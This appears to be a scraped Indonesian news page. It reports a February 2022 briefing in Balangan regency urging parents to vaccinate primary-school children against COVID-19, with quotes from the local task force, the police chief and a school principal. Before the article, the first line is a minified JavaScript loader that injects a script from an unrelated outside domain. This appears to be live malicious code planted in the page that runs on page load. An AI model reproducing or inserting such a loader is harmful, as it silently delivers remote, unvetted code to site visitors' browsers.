(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Dinas Pendidikan dan Kebudayaan melalui Tim Satgas Covid-19 Kabupaten Balangan mengadakan sosialisasi pentingnya vaksinasi kepada siswa bersama Kepala Sekolah Dasar (SD) dan Madrasah Ibtidaiyah se-Kabupaten Balangan, di Aula Inspektorat Balangan, Rabu (2/2/2022).
Sosialisi untuk memberi dukungan terhadap program vaksinasi usia anak sekolah. Sekretaris Satgas Covid-19 H. Rahmi mengharapkan kegiatan Pembelajaran Tatap Muka (PTM) di Kabupaten Balangan ini berjalan 100%.
Ia juga menekankan, anak-anak termasuk salah satu sasaran yang rawan dengan Covid-19, agar tidak menjadi penyebab lingkungannya maka semuanya diharuskan vaksin.
“Harapannya akan mengurangi tingkat terpapar virus, vaksinasi hari ini sudah mencapai hampir 70% untuk anak, semoga kita bisa tingkatkan lagi sehingga apa yang di minta Bapak Presiden di akhir Maret itu sudah mencapai 100%,” katanya.
Baca juga: Tips Tetap Sehat saat Puasa Anjuran Ahli Gizi RS Permata Hati Palangkaraya
Sementara AKBP Zaenal Arifin selaku Kapolres Balangan menjelaskan, sesuai dengan pedoman dan aturan yang ada ini adalah salah satu bentuk dari perhatian kita semua pada anak-anak usia 6-11 tahun.
Hasil dari koordinasi dengan legislatif DPRD Kabupaten Balangan disepakati untuk melaksanakan formulasi bagaimana menyampaikan, serta mengomunikasikan kepada wali murid yang masih enggan anaknya divaksin.
“Tujuan dari sosialisasi ini guna terselenggaranya pembelajaran tatap muka 100% di Kabupaten Balangan, ini tentu menjadi hambatan apabila yang paling rawan adalah munculnya klaster di tempat sekolah, maka dari itu hendaknya orang tua murid memperbolehkan anak-anaknya untuk ikut serta dalam bervaksin,” jelasnya.
Di sisi lain, M Said selaku Kepala sekolah SDN Inan menyatakan, vaksinasi di SD Negeri Inan Paringin Selatan untuk tingkat partisipasinya masih sangat kurang. Hanya mencapai sekitar 37,1% itu juga beriringan dengan vaksinasi di desa, karena di lingkungan desa juga masih menganggap vaksini adalah suatu hal yang berbahaya.
“Semoga setelah adanya sosialisasi ini lebih bisa lagi memberikan pemahaman kepada masyarakat, pada orang tua siswa agar nantinya tingkat partisipasi vaksinasi di sekolah bisa lebih meningkat,” harapnya. (Kanalkalimantan.com/alfi)
Reporter: alfi
Editor: cell
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
This website uses cookies.